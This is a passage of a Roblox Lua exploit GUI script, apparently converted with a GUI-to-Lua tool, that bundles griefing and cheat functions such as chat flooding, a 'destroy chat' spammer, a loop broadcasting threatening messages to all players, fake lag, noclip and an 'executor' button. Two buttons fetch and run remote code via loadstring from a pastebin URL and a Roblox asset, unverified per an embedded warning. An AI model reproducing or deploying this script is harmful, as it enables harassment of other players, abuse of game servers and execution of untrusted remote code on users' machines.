script.Parent.Parent.Parent.Frame2.Position = script.Parent.Parent.Parent.Frame.Position
end)
end;
task.spawn(C_20);
-- StarterGui.ssst.Frame2.LocalScript
local function C_23()
local script = G2L["23"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_23);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_25()
local script = G2L["25"];
script.Parent.MouseButton1Down:Connect(function()
for i,p in pairs(game:GetService("Players"):GetChildren()) do
if p.ClassName == "Player" then
p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25
end
end
end)
end;
task.spawn(C_25);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_27()
local script = G2L["27"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame.Visible = true
script.Parent.Parent.Parent.Frame2.Visible = false
script.Parent.Parent.Parent.Frame.Position = script.Parent.Parent.Parent.Frame2.Position
end)
end;
task.spawn(C_27);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_2a()
local script = G2L["2a"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_2a);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_2d()
local script = G2L["2d"];
script.Parent.MouseButton1Click:Connect(function()
local Lighting = game:GetService("Lighting")
local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting)
function zigzag(X)
return math.acos(math.cos(X*math.pi))/math.pi
end
Counter = 0
Lighting.TimeOfDay = "15:00"
while wait(0.01) do
ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1)
Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1)
Counter += 0.01
end
end)
end;
task.spawn(C_2d);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_3e()
local script = G2L["3e"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_3e);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_46()
local script = G2L["46"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_46);
return G2L["1"], require;
end)
end;
task.spawn(C_10);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_12()
local script = G2L["12"];
script.Parent.MouseButton1Click:Connect(function()
--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 36 | Scripts: 16 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 4;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(75, 75, 75);
G2L["2"]["Size"] = UDim2.new(0, 451, 0, 290);
G2L["2"]["Position"] = UDim2.new(0.27123, 0, 0.26307, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ScreenGui.Frame.TextButton
G2L["3"] = Instance.new("TextButton", G2L["2"]);
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["TextSize"] = 14;
G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3"]["BackgroundTransparency"] = 0.2;
G2L["3"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["Text"] = [[1x1x1x1 gui]];
G2L["3"]["Position"] = UDim2.new(0.71489, 0, 0.84162, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["4"] = Instance.new("LocalScript", G2L["3"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["5"] = Instance.new("TextButton", G2L["2"]);
G2L["5"]["BorderSizePixel"] = 0;
G2L["5"]["TextSize"] = 14;
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["BackgroundTransparency"] = 0.2;
G2L["5"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Text"] = [[theme music]];
G2L["5"]["Position"] = UDim2.new(0.37129, 0, 0.8393, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["6"] = Instance.new("LocalScript", G2L["5"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["2"]);
G2L["7"]["BorderSizePixel"] = 0;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["BackgroundTransparency"] = 0.2;
G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["Text"] = [[skeleton sky]];
G2L["7"]["Position"] = UDim2.new(0.03875, 0, 0.83651, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.ScreenGui.Frame.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["a"] = Instance.new("TextButton", G2L["2"]);
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextSize"] = 14;
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["BackgroundTransparency"] = 0.2;
G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[romania spam]];
G2L["a"]["Position"] = UDim2.new(0.71445, 0, 0.65559, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["c"] = Instance.new("TextButton", G2L["2"]);
G2L["c"]["BorderSizePixel"] = 0;
G2L["c"]["TextSize"] = 14;
G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["BackgroundTransparency"] = 0.2;
G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["Text"] = [[flood]];
G2L["c"]["Position"] = UDim2.new(0.37081, 0, 0.65534, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["e"] = Instance.new("TextButton", G2L["2"]);
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextSize"] = 14;
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["BackgroundTransparency"] = 0.2;
G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[666]];
G2L["e"]["Position"] = UDim2.new(0.03714, 0, 0.65454, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["10"] = Instance.new("TextButton", G2L["2"]);
G2L["10"]["BorderSizePixel"] = 0;
G2L["10"]["TextSize"] = 14;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["BackgroundTransparency"] = 0.2;
G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["Text"] = [[theme music]];
G2L["10"]["Position"] = UDim2.new(0.71276, 0, 0.48413, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["12"] = Instance.new("TextButton", G2L["2"]);
G2L["12"]["BorderSizePixel"] = 0;
G2L["12"]["TextSize"] = 14;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["BackgroundTransparency"] = 0.2;
G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["Text"] = [[T7B3RS93 sound]];
G2L["12"]["Position"] = UDim2.new(0.03544, 0, 0.48106, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["14"] = Instance.new("TextButton", G2L["2"]);
G2L["14"]["BorderSizePixel"] = 0;
G2L["14"]["TextSize"] = 14;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["BackgroundTransparency"] = 0.2;
G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["Text"] = [[explode]];
G2L["14"]["Position"] = UDim2.new(0.03365, 0, 0.32264, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["16"] = Instance.new("TextButton", G2L["2"]);
G2L["16"]["BorderSizePixel"] = 0;
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["BackgroundTransparency"] = 0.2;
G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["Text"] = [[raining fire]];
G2L["16"]["Position"] = UDim2.new(0.03522, 0, 0.16733, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["18"] = Instance.new("TextButton", G2L["2"]);
G2L["18"]["BorderSizePixel"] = 0;
G2L["18"]["TextSize"] = 14;
G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["BackgroundTransparency"] = 0.2;
G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["Text"] = [[unanchor]];
G2L["18"]["Position"] = UDim2.new(0.37164, 0, 0.16499, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1a"] = Instance.new("TextButton", G2L["2"]);
G2L["1a"]["BorderSizePixel"] = 0;
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["BackgroundTransparency"] = 0.2;
G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["Text"] = [[ball rain]];
G2L["1a"]["Position"] = UDim2.new(0.71094, 0, 0.16456, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["1c"] = Instance.new("TextLabel", G2L["2"]);
G2L["1c"]["BorderSizePixel"] = 0;
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["Size"] = UDim2.new(0, 241, 0, 25);
G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["Text"] = [[Gui made by: Lucas_cubing10]];
G2L["1c"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0);
-- StarterGui.ScreenGui.Frame.TextLabel.UICorner
G2L["1d"] = Instance.new("UICorner", G2L["1c"]);
G2L["1d"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.ScreenGui.Frame.ImageLabel
G2L["1e"] = Instance.new("ImageLabel", G2L["2"]);
G2L["1e"]["BorderSizePixel"] = 0;
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["1e"]["Image"] = [[rbxassetid://124868710717730]];
G2L["1e"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["BackgroundTransparency"] = 1;
G2L["1e"]["Position"] = UDim2.new(0.29453, 0, -0.42891, 0);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1f"] = Instance.new("TextButton", G2L["2"]);
G2L["1f"]["BorderSizePixel"] = 0;
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["BackgroundTransparency"] = 0.2;
G2L["1f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["Text"] = [[rainbow all]];
G2L["1f"]["Position"] = UDim2.new(0.37378, 0, 0.32078, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1f"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["21"] = Instance.new("TextButton", G2L["2"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["TextSize"] = 14;
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["BackgroundTransparency"] = 0.2;
G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["Text"] = [[disco]];
G2L["21"]["Position"] = UDim2.new(0.71383, 0, 0.31788, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["22"] = Instance.new("LocalScript", G2L["21"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["23"] = Instance.new("TextButton", G2L["2"]);
G2L["23"]["TextWrapped"] = true;
G2L["23"]["BorderSizePixel"] = 0;
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextScaled"] = true;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["BackgroundTransparency"] = 0.2;
G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Text"] = [[synapse x de buget executor]];
G2L["23"]["Position"] = UDim2.new(0.37435, 0, 0.4816, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["23"]);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_4()
local script = G2L["4"];
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Name = Instance.new("TextLabel")
local Credits = Instance.new("TextLabel")
local ball = Instance.new("TextButton")
local noclip = Instance.new("TextButton")
local fakelag = Instance.new("TextButton")
local plane = Instance.new("TextButton")
local destroychat = Instance.new("TextButton")
local sit = Instance.new("TextButton")
local fly = Instance.new("TextButton")
local tp = Instance.new("TextButton")
local message = Instance.new("TextButton")
local floatingpad = Instance.new("TextButton")
local r6 = Instance.new("TextButton")
local c00lgui = Instance.new("TextButton")
local rejoin = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215)
Frame.Size = UDim2.new(0, 417, 0, 280)
Name.Name = "Name"
Name.Parent = Frame
Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Name.Size = UDim2.new(0, 417, 0, 25)
Name.Font = Enum.Font.GothamBold
Name.Text = "1x1x1x1 Gui FE"
Name.TextColor3 = Color3.fromRGB(0, 0, 0)
Name.TextScaled = true
Name.TextSize = 14.000
Name.TextWrapped = true
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0)
Credits.Size = UDim2.new(0, 416, 0, 22)
Credits.Font = Enum.Font.GothamBold
Credits.Text = "By FishNoobAhh"
Credits.TextColor3 = Color3.fromRGB(0, 0, 0)
Credits.TextScaled = true
Credits.TextSize = 14.000
Credits.TextWrapped = true
ball.Name = "ball"
ball.Parent = Frame
ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0)
ball.Size = UDim2.new(0, 79, 0, 31)
ball.Font = Enum.Font.GothamBold
ball.Text = "become ball"
ball.TextColor3 = Color3.fromRGB(0, 0, 0)
ball.TextScaled = true
ball.TextSize = 14.000
ball.TextWrapped = true
noclip.Name = "noclip"
noclip.Parent = Frame
noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0)
noclip.Size = UDim2.new(0, 79, 0, 31)
noclip.Font = Enum.Font.GothamBold
noclip.Text = "noclip"
noclip.TextColor3 = Color3.fromRGB(0, 0, 0)
noclip.TextScaled = true
noclip.TextSize = 14.000
noclip.TextWrapped = true
fakelag.Name = "fakelag"
fakelag.Parent = Frame
fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0)
fakelag.Size = UDim2.new(0, 79, 0, 34)
fakelag.Font = Enum.Font.GothamBold
fakelag.Text = "fe fake lag"
fakelag.TextColor3 = Color3.fromRGB(0, 0, 0)
fakelag.TextScaled = true
fakelag.TextSize = 14.000
fakelag.TextWrapped = true
fakelag.MouseButton1Down:Connect(function()
while true do
game.Players.LocalPlayer.Character.Torso.Anchored = true
game.Players.LocalPlayer.Character.Humanoid.Jump = true
wait(0.1)
game.Players.LocalPlayer.Character.Torso.Anchored = false
game.Players.LocalPlayer.Character.Humanoid.Sit = true
wait(0.1)
end
end)
plane.Name = "plane"
plane.Parent = Frame
plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0)
plane.Size = UDim2.new(0, 83, 0, 31)
plane.Font = Enum.Font.GothamBold
plane.Text = "become a plane"
plane.TextColor3 = Color3.fromRGB(0, 0, 0)
plane.TextScaled = true
plane.TextSize = 14.000
plane.TextWrapped = true
destroychat.Name = "destroy chat"
destroychat.Parent = Frame
destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0)
destroychat.Size = UDim2.new(0, 83, 0, 31)
destroychat.Font = Enum.Font.GothamBold
destroychat.Text = "destroy chat fe (op warning)"
destroychat.TextColor3 = Color3.fromRGB(0, 0, 0)
destroychat.TextScaled = true
destroychat.TextSize = 14.000
destroychat.TextWrapped = true
destroychat.MouseButton1Down:Connect(function()
for i = 1, 4 do
local args = {
[1] = "\194\160\194\160",
[2] = "All"
}
game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest"):FireServer(unpack(args))
end
end)
sit.Name = "sit"
sit.Parent = Frame
sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0)
sit.Size = UDim2.new(0, 83, 0, 34)
sit.Font = Enum.Font.GothamBold
sit.Text = "sit"
sit.TextColor3 = Color3.fromRGB(0, 0, 0)
sit.TextScaled = true
sit.TextSize = 14.000
sit.TextWrapped = true
sit.MouseButton1Down:Connect(function()
local human = kevyn.Parent:findFirstChild("Humanoid")
if (human ~= nil)then
human.Sit=true
end
end)
fly.Name = "fly"
fly.Parent = Frame
fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0)
fly.Size = UDim2.new(0, 89, 0, 31)
fly.Font = Enum.Font.GothamBold
fly.Text = "fly"
fly.TextColor3 = Color3.fromRGB(0, 0, 0)
fly.TextScaled = true
fly.TextSize = 14.000
fly.TextWrapped = true
tp.Name = "tp"
tp.Parent = Frame
tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0)
tp.Size = UDim2.new(0, 89, 0, 31)
tp.Font = Enum.Font.GothamBold
tp.Text = "click to tp"
tp.TextColor3 = Color3.fromRGB(0, 0, 0)
tp.TextScaled = true
tp.TextSize = 14.000
tp.TextWrapped = true
message.Name = "message"
message.Parent = Frame
message.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0)
message.Size = UDim2.new(0, 89, 0, 34)
message.Font = Enum.Font.GothamBold
message.Text = "messages"
message.TextColor3 = Color3.fromRGB(0, 0, 0)
message.TextScaled = true
message.TextSize = 14.000
message.TextWrapped = true
message.MouseButton1Down:Connect(function()
while true do
wait(2)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL")
wait(2)
end
end)
floatingpad.Name = "floatingpad"
floatingpad.Parent = Frame
floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0)
floatingpad.Size = UDim2.new(0, 79, 0, 34)
floatingpad.Font = Enum.Font.GothamBold
floatingpad.Text = "floating pad (requires r6)"
floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0)
floatingpad.TextScaled = true
floatingpad.TextSize = 14.000
floatingpad.TextWrapped = true
r6.Name = "r6"
r6.Parent = Frame
r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0)
r6.Size = UDim2.new(0, 79, 0, 34)
r6.Font = Enum.Font.GothamBold
r6.Text = "r15 to r6"
r6.TextColor3 = Color3.fromRGB(0, 0, 0)
r6.TextScaled = true
r6.TextSize = 14.000
r6.TextWrapped = true
r6.MouseButton1Down:Connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))()
end)
c00lgui.Name = "c00lgui"
c00lgui.Parent = Frame
c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0)
c00lgui.Size = UDim2.new(0, 88, 0, 34)
c00lgui.Font = Enum.Font.GothamBold
c00lgui.Text = "fe c00lgui"
c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0)
c00lgui.TextScaled = true
c00lgui.TextSize = 14.000
c00lgui.TextWrapped = true
c00lgui.MouseButton1Down:Connect(function()
loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)()
end)
rejoin.Name = "rejoin"
rejoin.Parent = Frame
rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0)
rejoin.Size = UDim2.new(0, 79, 0, 34)
